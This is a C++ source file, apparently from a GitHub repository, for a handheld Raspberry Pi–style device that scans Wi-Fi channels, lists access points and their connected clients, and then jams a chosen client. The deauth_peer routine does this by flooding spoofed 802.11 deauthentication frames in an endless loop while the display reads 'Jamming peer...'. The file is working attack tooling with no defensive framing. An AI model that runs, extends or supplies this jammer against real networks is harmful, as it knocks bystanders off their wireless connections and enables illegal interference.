-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmain.cpp
More file actions
202 lines (150 loc) · 5.11 KB
/
main.cpp
File metadata and controls
202 lines (150 loc) · 5.11 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
#include "main.h"
#include "channel.h"
#include "ieee80211.h"
#include "gpio.h"
#include "display.h"
#include "ui_menus.h"
#include <math.h>
#define PEER_SCAN_WAIT 1e+7
using namespace std;
std::map <std::string, Station *> Globals::stations;
Display *Globals::display;
Oui * Globals::oui;
Channel *channel;
pcap_t *Globals::pcap_descr = (pcap_t *)NULL;
void *cycle_channels(void *_v) {
display->cursor->print("Scanning...", true);
display->update();
for (int i = 1; i != 15; i++) {
if (channel->set_channel(i))
cout << "Failed to set channel\n";
char ch_str[9];
snprintf(
ch_str, 8, "%dMHz",
ieee80211_channel_to_frequency(channel->get_channel())
);
display->cursor->set(0, 1);
display->cursor->print("Frequency:", false);
display->cursor->print((const char *)ch_str, false);
display->update();
for (int ii = 0; ii != 3; ii++) {
send_probe(Globals::pcap_descr);
usleep(10000);
}
usleep(SCAN_INTERVAL * 2000);
}
pthread_exit(NULL);
}
void *scan_aps(void *udata) {
if (pcap_loop(Globals::pcap_descr, 0, ap_scan_handler, (u_char *)NULL) == -1) {
cout << "pcap_loop() failed: " << pcap_geterr(Globals::pcap_descr);
}
}
void *scan_peers(void *udata) {
if (pcap_loop(Globals::pcap_descr, 0, peer_scan_handler, (u_char *)udata) == -1) {
cout << "pcap_loop() failed: " << pcap_geterr(Globals::pcap_descr);
}
}
void *deauth_peer(void *udata) {
Peer *peer = (Peer *)udata;
uint8_t *victim = peer->mac_addr;
uint8_t *station = peer->ap->bssid;
uint8_t seq = 0;
int ostate;
while (1) {
pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, &ostate);
send_deauth(Globals::pcap_descr, victim, station, false, seq);
pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, &ostate);
usleep(2000);
pthread_setcancelstate(PTHREAD_CANCEL_DISABLE, &ostate);
send_deauth(Globals::pcap_descr, victim, station, true, seq);
pthread_setcancelstate(PTHREAD_CANCEL_ENABLE, &ostate);
usleep(2000);
seq++;
}
}
void init_keyboard() {
init_gpio();
setup_gpio(L_pin, 1, PUD_UP);
setup_gpio(U_pin, 1, PUD_UP);
setup_gpio(R_pin, 1, PUD_UP);
setup_gpio(D_pin, 1, PUD_UP);
setup_gpio(C_pin, 1, PUD_UP);
setup_gpio(A_pin, 1, PUD_UP);
setup_gpio(B_pin, 1, PUD_UP);
}
int main() {
char errbuf[PCAP_ERRBUF_SIZE];
pthread_t channel_thread;
pthread_t scan_thread;
void *res;
display = new Display;
channel = new Channel;
Globals::oui = new Oui;
Globals::oui->load();
init_keyboard();
root_menu:
RootMenu rootmenu(display);
int selected;
rootmenu.get_selection(selected);
if (selected == 1) {
delete display;
system("shutdown -h now");
return 0;
}
display->clear();
Globals::pcap_descr = pcap_open_live(WDEV, BUFSIZ, 0, SCAN_INTERVAL, errbuf);
if (Globals::pcap_descr == NULL) {
cout << "pcap_open_live() failed: " << errbuf << endl;
return 1;
}
pthread_create(&scan_thread, NULL, scan_aps, NULL);
pthread_create(&channel_thread, NULL, cycle_channels, NULL);
pthread_join(channel_thread, &res);
pthread_cancel(scan_thread);
pcap_close(Globals::pcap_descr);
station_menu:
Station *selected_station;
StationMenu stationmenu(display);
selected_station = stationmenu.get_station();
if (selected_station == (Station *)NULL)
goto root_menu;
display->clear();
display->cursor->print("Scanning for peers...", false);
display->update();
channel->set_channel(selected_station->channel);
Globals::pcap_descr = pcap_open_live(WDEV, BUFSIZ, 0, SCAN_INTERVAL, errbuf);
pthread_create(
&scan_thread, NULL, scan_peers,
selected_station
);
usleep(PEER_SCAN_WAIT);
pthread_cancel(scan_thread);
pthread_join(scan_thread, &res);
pcap_close(Globals::pcap_descr);
peer_menu:
PeerMenu peer_menu(display, selected_station->peers);
Peer *selected_peer = peer_menu.get_peer();
if (selected_peer == (Peer *)NULL)
goto station_menu;
Globals::pcap_descr = pcap_open_live(WDEV, BUFSIZ, 0, SCAN_INTERVAL, errbuf);
pthread_create(
&scan_thread, NULL, deauth_peer,
selected_peer
);
display->clear();
display->cursor->print("Jamming peer...", false);
display->update();
while (1) {
if (!input_gpio(A_pin) || !input_gpio(B_pin)) {
break;
}
usleep(10000);
}
pthread_cancel(scan_thread);
pthread_join(scan_thread, &res);
pcap_close(Globals::pcap_descr);
goto root_menu;
delete channel;
return 0;
}